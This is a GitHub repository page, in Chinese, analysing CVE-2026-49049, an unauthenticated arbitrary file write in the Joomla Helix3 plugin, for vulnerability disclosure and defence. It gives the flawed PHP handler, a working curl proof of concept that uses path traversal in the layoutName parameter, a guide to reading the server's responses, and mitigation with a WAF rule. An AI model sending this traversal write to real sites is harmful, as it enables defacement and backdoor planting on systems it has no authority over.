Dr-D25/CVE-2026-49049

GitHub: Dr-D25/CVE-2026-49049

该项目提供了 Joomla Helix3 插件未授权任意文件写入漏洞(CVE-2026-49049)的技术分析与概念验证,帮助安全人员识别并修复该缺陷。

Stars: 0 | Forks: 0

# 漏洞研究 CVE-2026-49049:JoomShaper Helix3 (Joomla) 中的未授权任意文件写入 本仓库包含了针对严重漏洞 **CVE-2026-49049** 的相关材料、技术分析和概念验证,该漏洞是在 CMS Joomla(版本 1.0 至 3.1.0 及其间版本)的过时模板框架 **JoomShaper Helix3** 中发现的。 该漏洞目前正被自动化僵尸网络(特别是作为 **AntonKill** 篡改活动的一部分)在野外积极利用。 ## 🔬 漏洞技术分析 问题根源在于 Joomla 的核心 AJAX 处理程序(`com_ajax`),该程序会调用 `plg_ajax_helix3` 插件中的 `onAjaxHelix3()` 方法。组件开发者未实现以下防护措施: 1. 用户身份验证(Authentication Bypass)。 2. CSRF token 检查。 3. 处理 `layoutName` 参数时的路径验证(Path Traversal Validation)。 ### 漏洞 PHP 代码逻辑: ``` public function onAjaxHelix3() { \$input = Factory::getApplication()->input; \(data =\)input->post->get('data', [], 'array'); \(action =\)data['action']; \(layoutName =\)data['layoutName']; // Отсутствует проверка прав! Отсутствует фильтрация пути! \$filepath = \(layoutPath .\)layoutName; switch (\$action) { case 'save': // Запись контролируемых данных в произвольную директорию сервера fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']); break; } } ``` ## 🛠 概念验证 为了验证该漏洞,使用了内容类型为 `application/x-www-form-urlencoded` 的 POST 请求。这种参数封装方式是展示此安全漏洞最有效的方法。 ### 攻击向量(cURL 命令): ``` curl -sk -X POST \ 'https://target.com' \ -d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}' ``` ### 传输数据详细解析: | 参数 | 值 / 示例 | 对服务器的意义 | | :--- | :--- | :--- | | **`option`** | `com_ajax` | Joomla 中用于处理 AJAX 请求的入口点。 | | **`plugin`** | `helix3` | 系统标识符,强制 Joomla 将控制权转移给存在漏洞的 Helix3 插件。 | | **`format`** | `json` | 指示引擎以 JSON 格式返回响应。 | | **`-d`** | `data[...]` | 请求体,PHP 会自动将其解释为全局数组 `$_POST`。 | | **`data[action]`** | `save` | 代码中的 `switch` 切换器。指示插件调用**写入(创建)文件**的函数。 | | **`data[layoutName]`** | `../../../../../../../example` | **核心攻击向量**。`../` 字符迫使操作系统跳出插件的隔离文件夹,进入网站的根目录。`.json` 扩展名将由插件自动添加。 | | **`data[content]`** | `{"probe":"test"}` | 有效载荷。实际写入到创建的 `example.json` 文件内部的文本数据。在实际攻击中,攻击者会在此处注入恶意的网页篡改代码或后门。 | ## 🎯 服务器响应分析(验证) 在进行渗透测试时,服务器可能会返回不同类型的响应。正确解读这些响应至关重要: ### 方案 A:漏洞被成功触发(文件已写入) **服务器响应:** ``` {"success":true,"message":null,"messages":null,"data":[]} ``` *解读:* 插件存在漏洞,且没有操作系统级别的限制。文件已在站点根目录成功创建,并可通过 `https://target.com` 访问。该网站需要立即进行清理和隔离。 ### 方案 B:插件存在漏洞,但触发了操作系统的防护 **服务器响应:** ``` { "success":false, "message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given", "messages":null, "data":null } ``` *解读:* **部分成功。** Helix3 插件的逻辑已被绕过——它在未授权的情况下接收了数据,并尝试打开文件进行写入(`fopen`)。然而,Linux 操作系统阻止了此操作,因为 Web 服务器用户(例如 `www-data`)**没有对网站根目录的写入权限**。 ### 方案 C:系统是安全的(已更新或已移除) **服务器响应:** 状态 `404 Not Found`、`403 Forbidden` 或空响应 `[]`。 *解读:* 插件已更新至安全版本(3.1.1+),其中添加了身份验证检查,或者该插件已从 CMS 中完全移除。 ## 🛡 缓解与威胁消除 1. **更新 / 移除:** 将 Helix3 更新至版本 **3.1.1** 或更高版本。如果未使用该框架,请通过 Joomla 管理面板彻底删除 `plg_ajax_helix3` 插件。 2. **WAF 层面的防护:** 添加规则以拦截恶意的 POST 请求: if (\(request_method = POST) { set\)test "P"; } if (\$arg_plugin = "helix3") { set \(test "\){test}H"; } if (\$test = PH) { return 403; } *免责声明:本材料仅供教育目的及合法的系统安全审计使用。作者不对所提供信息的任何非法使用承担责任。*
标签:CISA项目, OpenVAS, PHP, PoC, Web安全, 暴力破解, 漏洞分析, 蓝队分析, 路径探测